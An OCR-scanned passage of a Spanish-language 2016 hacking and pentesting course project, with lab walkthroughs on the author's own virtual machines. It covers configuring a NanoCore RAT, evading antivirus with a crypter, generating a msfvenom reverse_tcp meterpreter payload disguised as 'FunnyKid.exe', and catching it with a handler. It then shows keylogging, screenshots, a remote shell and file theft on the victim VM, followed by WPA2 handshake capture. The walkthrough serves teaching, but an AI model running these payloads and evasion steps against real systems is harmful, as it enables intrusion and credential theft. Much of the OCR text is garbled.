Advanced Settings

DNS Server Settings

() Use system DNS server resolution
@® Use custom DNS server resolution
DNS Provider

Google -
Primary DNS Server

8.8.8.8

Backup DNS Server

Assembly Settings

3
IS
IS

Assembly Icon
\ |

Reset Browse..

Notification Settings

[ show installation dialog

Dialog Title
Installation

Dialog Message
NanoCore has been successfully installed.

Compile...

Figura 4.9: Creacién del servidor

Si se consigue que la victima ejecute el servidor, cada vez que se conecte a Internet,
estableceremos una comunicacion de datos, obteniendo acceso total al sistema infectado.

v Note 1P Address

[ out: : [E selecrs
-T2 10 od oo

rone ol vy Camputer 5 Wnows 7364 B 2- Windows 7 x64

Il 'K

{| (K '

Figura 4.10: Arriba, conexion establecida. Abajo, maquina con servidor ejecutado
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Por ejemplo, vemos como podemos ejecutar un keylogger para registrar todo lo tecleado por el

usuario.
# NanoCore QR Clients &8 Network |M System
Identity Country Fing CFU RAM
Servidor
{WIN-7HRQBELR B dll 1ms B 0% H 29%
""""""""""""""""" Ef Connection  »
[ System b
B Organize »
ﬁ Manage »
0 MNetwaork 3
|Q Surveillance  » |ﬁ Recover Passwords.,
% Settings ¥ |l View DNS Recerds..
B Tools * | Monitor Keyboard..
[, Browselogs.
[Er Video Feeds.,
,;? Audio Feeds..
Figura 4.11: Menu de acciones
tdentity Country Ping | CPU  RAM  IdeTime | AcveWindow UpTime  Note | IPAddress  Port | OS

Servidor
WIN-7HRQOBHN... &2 Spain o o — 5
N Log Viewer - WIN-7HRQOBHNG655\Raziel

Sglcs.1.46 53896 Wil

epad] cosas: Bloc de notas

mi [Back] este es mi password: Juan01234105!123

Figura 4.12: Ejecucién exitosa del Keylogger

"] cosas: Bloc de notas.

Archivo Edicion Formato Ver Ayuda
este es mi password: Juan0123430s!123

El problema es el punto critico de enviar el archivo a su destino sin que ningdn antivirus,
firewall o IDS lo intercepte, y luego el usuario lo ejecute. Para ello se puede utilizar crypters, por
ejemplo SwayzCryptor. Podemos usarlo para cifrar el archivo de modo que no sea interceptado
por los antivirus, para adjuntarlo en un email por ejemplo, en combinaciéon con alguna técnica
de ingenieria social y provocar que el usuario ejecute el archivo.
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#Desktop\SERVIDOR exe ‘aziel\Desktoph funmykid. jpg {.png)
-] - |
[/|Obfuscate /] Start up | [
Dmtex
[ |Disable UAG [} Encrypt ] [ Winimizs l [ Closs
[ Require Admin
Status: Idle d

SERVIDOR Swayz

Figura 4.13: Uso de un crypter

Este proceso se podria aplicar (y de hecho se aplica) a un dispositivo movil y obtener los
mismos resultados. Por ejemplo, se podria subir el servidor a un servidor web, mandar via
WhatsApp el link al objetivo y el dispositivo quedaria infectado. Hay que recordar que en PCs
corrientes es muy habitual tener antivirus que dificultaran la tarea, pero ain no es tan habitual
tenerlos en smartphones, wereables, dispositivos 10T, etc. Las posibilidades de las RAT son
innumerables y los atacantes aprovecharan todas las posibilidades a su alcance.

4.3 Creando un payload con metaesploit y abrir una sesién de meterpreter.

A continuacién se van a realizar unas demostraciones de metasploit, explicando algunos
comandos basicos. Después se creara un payload el cual se ejecutara en la maquina de la
victima para abrir una sesion de meterpreter. Después se daran algunas ideas de qué hacer
una vez se tiene acceso al sistema.

El contexto es el de dos méquinas virtuales conectadas en la misma red; una con kali 2.0 y otra
con Windows 7 que sera la victima.

Comenzamos explicando cémo moverse por el framework. Podemos arrancar la consola de
metasploit ejecutando ‘msfconsole’ como se muestra en la siguiente imagen:
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Aplicaciones ~ Lugares ~ "~Terminal ~

root@Kali-2-VM: ~

Archivo Editar Ver Buscar Terminal Ayuda
root@Kali-2-VM:~# msfconsole

follow the white rabbit.

knock, knock, Neo.

http://metasploit.pro

Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[
=[ 1467 exploits - 840 auxiliary - 232 post
-- --=[ 432 payloads - 37 encoders - 8 nops

]
]
]
-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Figura 5.1: Ejecucion msfconsole

Poniendo un signo de interrogacién o el comando help podremos ver qué comandos podemos
utilizar.

root@Kali-2-VM: ~

Archivo Editar Ver Buscar Terminal Ayuda

Command Description

7 Help menu

back Move back from the current context

banner Display an awescme metasploit banner

cd Change the current working directory

color Toggle color

connect Communicate with a host

edit Edit the current module with $VISUAL or $EDITOR

exit Exit the conscle

get Gets the value of a context-specific variable

getg Gets the value of a global variable

go_pro Launch Metasploit web GUI

grep Grep the output of ancther command

help Help menu

info Displays information about one or more module

irb Drop into irb scripting mode

jobs Displays and manages jobs

kill Kill a jeb

load Load a framework plugin

loadpath Searches for and loads modules from a path

makerc Save commands entered since start to a file

popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
quit Exit the console

Figura 5.2: Comandos msfconsole
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Para buscar entre los modulos diferentes podemos utilizar el comando search. Esto nos
mostrara el surtido abanico de modulos. Como buscamos un exploit para Windows 7,
realizaremos una busqueda concreta de Windows, pero podria ser de cualquier otro servicio,
software, S.O., etc.

root@Kali-2-VM: ~ e e 0

Archivo Editar Ver Buscar Terminal Ayuda
msf > search windows 7

Database not connected or cache not built. using slow search
Matching Modules

Name Disclosure Date Rank Description

auxiliary/admin/2wire/xs1t_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset
Vulnerability

auxiliary/admin/android/qoogle_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store X
FO

auxiliary/admin/appletv/appletv_display_image normal Apple TV Image Remote Control

auxiliary/admin/appletv/appletv_display_video nornal Apple TV Video Remote Control

auxiliary/admin/backupexec/dump nornal Veritas Backup Exec Windows Remote File Access

auxiliary/admin/backupexec/registry normal Veritas Backup Exec Server Registry Access

auxiliary/admin/cisco/cisco_secure _acs_bypass nornal Cisco Secure ACS Unauthorized Password Change

auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal Cisco VPN Concentrator 3000 FTP Unauthorized Ad
ministrative Access

auxiliary/admin/db2/db2remd 2004-03-04 normal IBM DB2 db2rcmd.exe Command Execution Vulnerabi
Tity

auxiliary/admin/emc/alphastor_devicemanager_exec 2008-05-27 nornal EMC AlphaStor Dewice Manager Arbitrary Command
Execution

auxiliary/admin/emc/alphastor_librarymanager_exec 2008-05-27 nornal EMC AlphaStor Library Manager Arbitrary Command
Execution

auxiliary/admin/hp/hp_data_protector cmd 2011-02-07 nornal HP Data Protector 6.1 EXEC_CMD Command Executio
n

auxiliary/admin/hp/hp_imc_som create_account 2013-10-08 nornal HP Intelligent Management SOM Account Creation

auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss 2015-04-08 normal Arris / Motorola Surfboard SBGE580 Web Interfac
e Takeover

auxiliary/admin/http/axigen_file_access 2012-10-31 nornal Axigen Arbitrary File Read and Delete

auxiliary/admin/http/dlink_dir_645_password_extractor normal D-Link DIR 645 Password Extractor

auxiliary/admin/http/hp_web_jetadmin_exec 2004-04-27 nornal HP Web JetAdmin 6.5 Server Arbitrary Command Ex
ecution

auxiliary/admin/http/iis_auth_bypass 2010-07-02 nornal MS10-065 Microseft IIS 5 NTFS Stream Authentica
tion Bypass

auxiliary/admin/http/intersil_pass_reset 2007-09-10 nornal Intersil (Boa) HTTPd Basic Authentication Passw
ord Reset

auxiliary/admin/http/iomega_storcenterpro_sessionid normal Iomega StorCenter Pro NAS Web Authentication By
pass

auxiliary/admin/http/jboss_bshdeployer normal JBoss IMX Console Beanshell Deployer WAR Upload
and Deployment

Figura 5.3: Busqueda de modulos

También podemos buscar un exploit directamente con el comando ‘searchsploit’:

= searchsploit windows
exec: searchsploit windows

Exploit Title | Path

| (/usr/share/exploitdb/platforms)
Microsoft Windows WebDAV - (ntdll.dll) Remote Exploit | ./windows/remote/1.c
Microsoft Windows WebDAV - Remote PoC Exploit | ./windows/remote/2.c
Microsoft Windows RPC Locator Service - Remote Exploit | ./windows/remote/5.c
Apache HTTP Server 2.x Memory Leak Exploit | ./windows/dos/9.c
Microsoft Internet Explorer 11 - Crash PoC | ./windows/dos/37060.html
Chindi Server 1.0 - Denial of Service Exploit | ./windows/dos/13.c
Xeneo Web Server 2.2.9.0 - Denial of Service Exploit | ./windows/dos/17.pl
Microsoft Windows SMB - Authentication Remote Exploit | ./windows/remote/20.

|

|

|

|

|

|

|

txt
Pi3Web 2.0.1 - Denial of Service - Proof of Concept . /windows/dos/22 .c
Real Server < B.0.2 - Remote Exploit (Windows Platforms) ./windows/remote/23.c
Kerio Personal Firewall 2.1.4 - Remote Code Execution Exploit . /windows/remote/28.c

Snitz Forums 3.3.03 - Remote Command Execution Exploit
Microsoft Windows XP (explorer.exe) - Buffer Overflow Exploit
Microsoft Windows IIS 5.8 - 5.1 - Remote Denial of Service Exploit ./windows/dos/35.c
Microsoft Windows WebDav II - Remote Root Exploit (2) ./windows/remote/36.c
Microsoft Internmet Explorer Object Tag Exploit (MS@3-020) . /windows/remote/37 .pl
Winmail Mail Server 2.3 - Remote Format String Exploit ./windows/remote/42.c
'Yahoo Messenger 5.5 - Remote Exploit (DSR-ducky.c) . /windows/remote/45.c
Microsoft Windows Media Services - Remote Exploit (MSG3-822) ./windows/remote/48.c
ColdFusion MX - Remote Development Service Exploit . /windows/remote/50.pl
Microsoft Windows WebDav III - Remote Root Exploit (xwdav) | ./windows/remote/51.
ICQ Pro 20@3a Password Bypass Exploit (cal-icq.asm) | ./windows/local/52.asm
.7.x - Remote Buffer Overflow Exploit | ./windows/remote/54.c
|

./windows/remote/30.pl
./windows/local/32.c

o

Windows Media Services - (nsiislog.dll) Remote Exploit ./windows/remote/56.c
Windows 2866 - RPC DCOM Interface DoS Exploit . /windows/dos/61 .c
Windows - (RPC DCOM) Remote Buffer Overflow Exploit ./windows/remote/64.c
Windows SQL Server Denial of Service Remote Exploit (MS83-031) ./windows/dos/65 .c
Windows 2886/XP - (RPC DCOM) Remote Exploit ./windows/remote/66.c
Windows RPC DCOM Remote Exploit (18 Targets) . /windows/remote/69.c
Windows - (RPC DCOM) Remote Exploit (48 Targets) | ./windows/remote/70.c
Trillian 0.74 - Remote Denial of Service Exploit | ./windows/dos/73.c
Microsoft Windows - (RPC DCOM) Remote Exploit (Universal Targets) | ./windows/remote/76.c

Figura 5.4: Bisqueda de exploits
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En la maquina que tenemos marcada como objetivo, al ser una maquina virtual recién
instalada, no tenemos ningun programa especial que podamos explotar, asi que podemos
utilizar algun servicio del propio sistema. Con un nmap veremos que tenemos:

root@Kali-2-VM: ~ e ® 0

Archivo Editar Ver Buscar Terminal Ayuda
root@Kali-2-VH: -# nmap 192.168.204.129

Starting Mmap 6.49BETA4 ( https://nmap.org ) at 2016-05-20 20:55 CEST
Nmap scan report for 192.168.204,129
Host is up (0.00033s latency).

Not sheown: 990 closed ports

PORT STATE SERVICE

135/tcp  open msrpc

139/tcp  open netbios-ssn

445/tcp  open microsoft-ds

5357/tcp open wsdapl

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49155/tcp open unknown

49156/tcp open unknown

49157/tcp open unknown

MAC Address: 00:0C:29:9A:F8:E0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 79.51 seconds
root@Kali-2-VH: -# ||

=T OENOWm COmmaEaT SearcnesproIT,

Figura 5.4: Ejecucién de nmap

Por lo que vemos, vamos a intentar escalar privilegios a partir del ataque a un servicio. Por lo
tanto, cuando hayamos escogido el médulo que nos interesa, le indicaremos su uso con el
comando ‘use’:

mst > search service_permissions

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/local/service_permissions 2012-10-15 great Windows Escalate Service Permissions Local Privilege Escalation

msf = use exploit/windows/local/service permissions

st exploit(service permissions) > [

Figura 5.5: Asignacion del exploit
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Cada modulo necesita sus inputs y variables especiales que deberemos introducirle. Para
saber qué es lo que hay que introducir, teclearemos el parametro ‘info’:

msf exploit(service permissions) > info

Name: Windows Escalate Service Permissions Local Privilege Escalation
Module: exploilts/windows/local/service_permissions
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2012-18-15

Provided by:
scriptjunkie

Available targets:
Id Name

0  Automatic

Basic options:

Name Current Setting Required Description
AGGRESSIVE false no Exploit as many services as possible (dangerous)
SESSION 1 yes The session to run this module on.

Payload information:

Description:
This module attempts to exploit existing administrative privileges
to obtain a SYSTEM session. If directly creating a service fails,
this module will inspect existing services to look for insecure file
or configuration permissions that may be hijacked. It will then
attempt to restart the replaced service to run the payload. This
will result in a new session when this succeeds.

Figura 5.6: Informacién sobre el exploit

Vemos en la descripcion que el exploit es muy agresivo, y buscara un inicio de sesién en todos
los puertos de servicios abiertos.

Seguidamente podemos ver el surtido de payloads diferentes que contiene cada exploit
introduciendo el comando show payloads:

msf exploit(service_permissions) > show payloads

Name Disclosure Date Rank Description

generic/custom normal Custom Payload

generic/debug_trap normal Generic x88 Debug Trap

generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline

generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline

generic/tight loop normal Generic x88 Tight Loop

windows/dl1linject/bind_hidden_ipknock_tcp normal Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

windows/dllinjectsbind_hidden_tcp normal Reflective DLL Injection, Hidden Bind TCP Stager

windows/dllinject/bind_ipvE_tcp normal Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86
)

windows/dllinject/bind_ipv6_tcp_uuid normal Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Su
pport (Windows x86)

windows/d1linject/bind_nonx_tcp normal Reflective DLL Injection, Bind TCP Stager (Mo NX or Win7)

windows/d1linject/bind_tcp normal Reflective DLL Injection, Bind TCP Stager (Windows x86)

windows/d1linject/bind_tcp_rc4 normal Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryp
tion)

windows/d1linject/bind_tep_uuid normal Reflective DLL Injection, Bind TCP Stager with UUID Support

(Windows xB6)

windows/dllinject/reverse_hop_http normal Reflective DLL Injection, Reverse Hop HTTP Stager

windows/dllinject/reverse_http normal Reflective DLL Injection, Windows Reverse HTTP Stager (wini
net)

windows/dllinject/reverse_http_proxy_pstore normal Reflective DLL Injection, Reverse HTTP Stager Proxy

windows/dllinject/reverse_ipvé_tcp normal Reflective DLL Injection, Reverse TCP Stager (IPv6)

windows/dllinject/reverse_nonx_tcp normal Reflective DLL Injection, Reverse TCP Stager (Mo NX or Win7
)

windows/dllinject/reverse_ord_tcp normal Reflective DLL Injection, Reverse Ordinal TCP Stager (Mo NX
or Win7)

windows/dllinject/reverse_tcp normal Reflective DLL Injection, Reverse TCP Stager

windows/dllinject/reverse_tcp_allports normal Reflective DLL Injection, Reverse All-Port TCP Stager

windows/dllinject/reverse_tcp_dns normal Reflective DLL Injection, Reverse TCP Stager (DNS)

windows/d1linject/reverse_tcp_rc4 normal Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Enc
ryption)

windows/dllinject/reverse_tcp_rcd_dns normal Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Enc
ryption DNS)

windows/dllinject/reverse_tep_uuid normal Reflective DLL Injection, Reverse TCP Stager with UUID Supp‘

Figura 5.7: Muestra de payloads del exploit

Finalmente usaremos el comando ‘exploit’ 0 ‘run’ para ejecutar el exploit. En este caso no ha
dado resultado, por lo que hay que seguir probando exploits.
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Después de varios intentos de explotacion, sin resultados, se va a crear un payload el cual se
inyectara a la victima mediante cualquier técnica ya descrita (por ejemplo de ingenieria social).

Para ello utilizaremos la consola msfvenom. Esta consola de metasploit framework se encarga
de generar shellcodes y ofuscar el cédigo si se es preciso. Recientemente se han substituido
las consolas msfpayload y msdencode por msfvenom. Con el comando ‘help’ veremos lo que
podemos hacer con ella.

root@Kali-2-VM: ~ v U W
Archivo Editar Ver Buscar Terminal Ayuda
root@kali-2-VH: -# msfvenom help
No options
MsfWenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /Jusr/bin/msfvenom [options] =var=val=
Options:
-p. --payload <payload= Payload to use. Specify a '-' or stdin to use custom payloa
ds
--payload-options List the payload's standard options
-1, --list [type] List a module type. Optlons are: payloads, encoders, nops,
all
-n, --nopsled <length= Prepend a nopsled of [length] size on to the payload
-f, --format <format= Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder= The encoder to use
-a, --arch <arch= The architecture to use
--platform <platform> The platform of the payload
-5, --space <length= The maximum size of the resulting payload
--encoder-space <length=> The maximum size of the encoded payload (defaults to the -s
value)
-b, --bad-chars <list> The 1list of characters to avoid example: '‘\xOO\xff'
-1, --iterations <count> The number of times to encode the payload
-c, --add-code <path=> Specify an additional win32 shellcode file to include
-x, --template <path= Specify a custom executable file fo use as a template
-k, --keep Preserve the template behavior and inject the payload as a
new thread
-0, --out <path= Save the payload
-V, --var-name <name= Specify a custom variable name to use for certain output fo
rmats
--smallest Generate the smallest possible payload
-h, --help Show this message

Figura 5.8: Comandos msfvenom

Ahora vamos a crear un payload. Buscamos un reverse_tcp, es decir, una conexion desde la

maquina victima a la nuestra con la que podamos tener acceso al sistema. Viendo los atributos

de msfvenom, podemos hacer:

root@Kali-2-VH: -# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168, 204,131
-T exe -o FunnyKid.exe

No encoder or badchars specified, outputting raw payload

Payload size: 299 hytes

Saved as: FunnyKid, exe
root@Kali-2-vH:-# ||

Figura 5.9: Paso de parametros a msfvenom

Especificamos el payload, la plataforma (S.0.), la arquitectura (que en nuestro caso es un
Windows de 64 bits (x64) pero en arquitectura de 32 bits (x86) funcionara de todas formas), el
formato .exe, el nombre y la IP nuestra (LHOST). Aqui tenemos el payload listo para enviarselo
a la victima, al que le hemos llamado ‘FunnyKid.exe’

Por otro lado suponemos que la victima ha ejecutado el payload en su maquina:
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& Simbolo

FunnyKid

Figura 5.10: Archivo infectado con el payload

Ahora toca volver a la ‘msfconsole’. Hay que indicarle el moédulo y payload que hemos creado
para ponerlo a la escucha, a la espera de que la victima ejecute el archivo que acabamos de
crear. Le indicaremos el payload, la IP, etc. y lo arrancaremos con el comando ‘exploit’.

msf > use exploit/multishandler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) = set LHOST 152.168.204 131

LHOST => 182.168.204.131

msf exploit(handler) = exploit

Started reverse handler on 192.168.204,131:4444

Starting the payload handler..

Sending stage (885806 bytes) to 192.168.204.129

Meterpreter session 1 opened (182,168.204.131:4444 -> 182,168.204.129:49173) at 2016-05-22 19:09:32 +0200

meterpreter = |

Figura 5.11: Uso del exploit, paso de parametros, ejecucion de éste y éxito de sesién de meterpreter.

Como vemos se ha establecido una sesion de meterpreter, es decir, estamos conectados a la
magquina de la victima, la explotacién ha tenido éxito.

Ahora toca pensar en qué hacer. Meterpreter tiene un amplio abanico de comandos para
ejecutar diversas acciones de lo mas utiles. Comando ‘help’ y las veremos:

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels

close Closes a channel

disable_unicode_encoding
enable_unicode_encoding
exit

get_timeouts

Disables encoding of unicode strings
Enables encoding of unicede strings
Terminate the meterpreter session

Get the current session timeout values

help Help menu

info Displays information about a Post module

interact Interacts with a channel

irb Drop into irb scripting mode

load Load one or more meterpreter extensions

machine_id Get the WMSF ID of the machine attached to the session
migrate Migrate the server to another process

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values

sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism

use Deprecated alias for 'load’

uuid Get the UUID for the current session

write Writes data to a channel

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

download Download a file or directory

edit Edit a file

getlwd Print local working directory

getwd Print working directory

lcd Change local working directory

1pwd Print local working directory

1= list files

Figura 5.12: Comandos meterpreter

30| Pagina



Seguridad en redes y sistemas: Técnicas y conceptos sobre hacking y pentesting. Producto

2016

Podemos ver informacién de la maquina para empezar:

Computer B
0s
Architecture
System Language :
Domain
Logged On Users :
Meterpreter
meterpreter = Nl

meterpreter = sysinfo

WIN- 7HRQOBHNESS

: Windows 7 (Build 7801, Service Pack 1)
» %64 (Current Process i1s WOWG4)

es_ES

¢ WORKGROUP

2

 ¥86/win32

Figura 5.13: Obtencién de informacion del sistema infectado

Otro ejemplo muy util es instalar un keylogger para averiguar todo lo que teclea el usuario. Para
ello abra que migrar la sesion de meterpreter al explorer.exe, dado que es el proceso que
controla la entrada por teclado. Para ello, buscamos el nombre del proceso, e introducimos el
comando ‘migrate’:

meterpreter = ps

Process list

MName

4 System
260  smss.exe
276 spoolsv.exe
324  svchost.exe
360 csrss.exe
412  csrss.exe
420 wininit.exe
456
516
524
332
628
704
792
828
856
884
892
812
8992
1044
1232
1244
1386
1512
1532
1740
1912
nnect.exe
1916
1928
2028
2236
.exe
2456
2600
2636
2780
2792
2932
2096

lsass.exe
lsm.exe

svchost.
svchost.
svchost.
svchost.
svchost.

exe
exe
exe
exe
exe

svchost. exe
svchost.exe
svchost.exe
dllhost.exe

dwm.exe

msdtc. exe

conhost.exe
svchost.exe

svchost. exe
Sppsvc. exe
svchost. exe
cmd.exe

conhost. exe

Migrating from

meterpreter =

Meterpreter. exe

Funnykid.exe

explorer. exe

TPAutoConnect.exe

vmtoolsd. exe

User

Session

Arch

0 [System Process]

winlogon.exe
services,exe

¥86 1 WIN- 7HRQGBHNESS\Raziel

86 1 WIN- 7HROGBHNESS\Raz1iel

vmtoolsd. exe
taskhost. exe

x64
%64
%64

WIN-7HRQEBHNESS W Raziel
WIN-7HRQEBHNESS W Raziel
WIN-7HRQOBHNESS\Raziel

]

¥64 1 WIN- 7HRQOBHNESS\Raziel

TRAutoConnSvc. exe

64 1 WIN- 7HROGBHNESS\Raz1iel

%64 1 WIN- 7HRQGBHNESS\Raz1iel

SearchIndexer.exe
wmpnetwlk . exe

%64
x64

WIN- 7HROGBHNESS\Raz1iel
WIN- 7HROGBHNESS\Raz1iel

=

meterpreter > migrate 1532

912 to 1532...

Migration completed successfully.

Figura 5.14: Migracion del proceso a explorer.exe

(\Windows\System32\cmd . exe
WWindowsh\System32\conhost . exe

Path

UsershRaziel\Desktop\Meterpreter. exe

:\Users‘\Raziel\Desktop\FunnyKid.exe

\Windowsh\System32\taskhost.exe
\Windowsh\System32\dwm. exe
Windowshexplorer. exe

\Program Files‘\VMware\VMware Tools\TPAutoCo

WWindowsh\System32\conhost . exe

\Program Files\VMware\VMware Tools‘wvmtoolsd
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Meterpreter ya tiene su keylogger para nuestra comodidad. Podemos hacer:

meterpreter = keyscan_start
Starting the keystroke sniffer...

meterpreter = keyscan_dump
Dumping captured keystrokes...

<[Win> numero de s =Back> la targ =Back= je <Back> pin de la terja <=Back= eta de credito =Nl> <=N4> =Back=

<Back> =Nl= =N2= =N3> <=N4= =Return= numero de sl =Back= <Back> la seguridad social <Nl= <N2= =<Nd> <
WS> <N4> <N8> <Decimal> <Decimal> <Decimal> =Decimal> <Decimal> <Return> Contrase'a de gmail> JOsel234
meterpreter = ||

Figura 5.15: Ejecucién del keylogger

El primer comando es para iniciar el proceso, el segundo es para volcar el buffer de entradas
por teclado. Vemos que no es muy legible (aunque si que se distinguen algunos aspectos
como una contrasefia, pin de tarjeta, etc.) Podemos hacer una captura de pantalla
directamente para ver qué esta sucediendo:

Screenshot saved to: /root/bCfFGevF.jpeg

meterpreter > screenshot ]
meterpreter =[]

bCfFGevF.jpeg © 0 0

Imagen Editar Ver Ir Ayuda
Anterior ® Siguiente @ Q @ Q 3 G

Propiedades de la imagenv

<

Nuevo documento de lexto: Bloc de notas

Archivo Edicion  Formato Ver Ayud
pin de la terjeta de credi

General TR

- numero de 1a seguridad social 124548
Nombre: i':ontraseria de gmail: J0sel234
bCfFGevF.jpeg
B Simbolo del sistema
Anchura:

1920 pixeles
medios desconectados

Altura:
1080 pixeles
Tipo: ¢ a cone TooaTdoaiin

imagen JPEG

i . predeterninada
Tamano del archivo:
op.localdomain
149,0 kB .
Carpeta:
1920 x 1080 pixeles 149,0 kB 55% 1/1

Figura 5.16: Screenshot remoto del PC infectado

Podemos abrir una shell si nos gusta mas para poder navegar por los directorios:
meterpreter = shell

Process 2616 created,

Channel 3 created.

Microsoft Windows [Versifin 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:vUse rs N Deslctop=

Figura 5.17: Ejecucién de una Shell remota

O descargar archivos directamente de los directorios:
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leterpreter = Is
sting: C:\Users\WE\Cesktop

fode Size Type Last modified Name

WOTTT/ rwxrwxrwy O dir 2016-05-22 19:53:41 +0200 DocumentosPersonales
LOBTF7/rwxrwxrwy 73802 fil  2016-05-22 19:05:09 40200 FunnyKid.exe
LEOFT7/rwirwirwy 73802 fil  2016-05-22 18:49:00 +0200 Meterpreter.exe
LOBEEE,/ rw-rw-rw- 282 fil 2016-05-19 10:48:33 +0200 desktop.ini

neterpreter > download DocumentosPersonales
downloading: DocumentosPersonaleshcarta confidencial.txt -= DocumentosPersonales/carta confidencial. txt
download . DocumentosPersonaleshcarta confidencial.txt -= DocumentosPersonales/carta confidencial.txt

ne'ter'greter o>
Figura 5.18: Descarga de archivos remotos
Con el comando ‘upload archivo.exe’ podriamos subir un backdoor para mantener el acceso al

sistema. Como vemos las posibilidades son casi infinitas y metasploit es una herramienta
increiblemente poderosa.
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5. Sequridad en redes

En este apartado se llevaran a cabo algunas de pruebas de concepto relacionadas con la
seguridad en redes. Se podrian hacer una infinidad de demostraciones en muchisimos
escenarios diferentes. Algunas pueden ser las siguientes.

5.1 Cracking de WPA2 con diccionario por fuerza bruta, con la suite air

Una prueba muy llamativa e interesante es el hecho de obtener una contrasefia de una red wifi
con la proteccién mas fuerte utilizada cominmente a dia de hoy, la WPA2. El escenario es el
de una maquina con Kali 2.0 instalado, situada en el perimetro de una red con diversos
aparatos conectados. Para ello se intentara capturar un handshake de una maquina adherida a
la red y su correspondiente punto de acceso. Luego se craqueara con un diccionario para
obtener la contrasefia. Las direcciones MAC se han semi-ocultado por razones de seguridad.

Para realizar este proceso, primero deberemos poner nuestra tarjeta de red en modo
promiscuo. Esto hara que la tarjeta haga de sniffer de todos los paquetes que circulan
alrededor suyo para su posterior analisis. Utilizaremos ‘airmon-ng start <interfaz>’. La interfaz
es facilmente extraible mediante un ‘ifconfig’. Es posible que al intentar hacerlo, airmon-ng nos
diga que existen procesos que pueden provocar errores. Es por ello que previamente
deberemos identificarlos y cancelarlos con el comando ‘kill <PID>’, como se muestra en la
siguiente imagen:

root@kali:~# airmon-ng start wlan@

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name

800 NetworkManager
907 wpa_supplicant
937 dhclient

1119 avahi-daemon
1120 avahi-daemon

PHY Interface Driver Chipset
phy@ wlan@ iwlwifi Intel Corporation Centrinc Wireless-N 135 (rev c4)

Newly created monitor mode interface wlan@Gmon is *NOT* in monitor mode.
Removing non-monitor wlan@mon interface. ..

WARNING: unable to start monitor mode, please run "airmon-ng check kill"
root@kali:~# kill 800
root@kali:~# airmon-ng start wlan@

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
907 wpa_supplicant
1119 avahi-daemon
1120 avahi-daemon
PHY Interface Driver Chipset

phy@ wlan@ iwlwifi Intel Corporation Centrino Wireless-N 135 (rev c4)

(macB80211 monitor mode vif enabled for [phy@]lwlan® on [phy@]wlanfmon)
(macB0211 station mode vif disabled for [phy@]wlan@)

root@kali:~# |J

Figura 5.1: Uso de airmon-ng

Una vez hecho esto, verificaremos nuevamente el nombre de la interfaz, lo necesitaremos
luego. Veremos que ha cambiado de nombre. Después podremos ejecutar ‘airodump-ng
<interfazModoPromiscuo>’ para empezar a capturar todo el trafico de red.
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root@kali:~# ifconfig
lo Link encap:lLocal Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:85536 Metric:l
RX packets:16 errors:0 dropped:0 overruns:8 frame:0@
TX packets:16 errors:@ dropped:@ overruns:@ carrier:0
collisions:@ txqueuelen:@
RX bytes:960 (960.0 B) TX bytes:960 (960.0 B)

wlan@mon Link encap:UNSPEC HWaddr 0C-D2-92-2E
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
RX packets:156 errors:0 dropped:156 overruns:@ frame:0
TX packets:0 errors:@ dropped:0@ overruns:@ carrier:0
collisions:0 txqueuelen:10080
RX bytes:25927 (25.3 KiB) TX bytes:0 (0.0 B)

root@kali:~# airodump-ng wlanGmon
Figura 5.2: Uso de airodump-ng

Si ejecutamos ese Ultimo comando, veremos que probablemente hay muchas redes, con
diversas configuraciones y cifrados. Nosotros buscamos el craqueo de una red llamada CA _
que corre por el canal 1. Ademas nos interesa guardar todos los datos (incluido el futuro
handshake) que vaya capturando. Por ello, especificaremos un poco mas los parametros de
airodump-ng:

rootikali:~# airodump-ng -c 1 -w guardadoDeDatos.cap wlan@mon

Figura 5.3: Paso de parametros a airodump-ng

El resultado de este comando es el sniffing particular de las redes que van por el canal 1.

CH 1 ][ Elapsed: 2 mins ][ 2016-05-24 15:19

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F8:0F:D9: -60 1 1692 1486 13 1 54e WPAZ CCMP PSK CA_
B88:03:55:. -B2 1lo0 1576 149 3 1 54e WPA CCMP PSK VodafoneBE3
BSSID STATION PWR Rate Lost Frames Probe

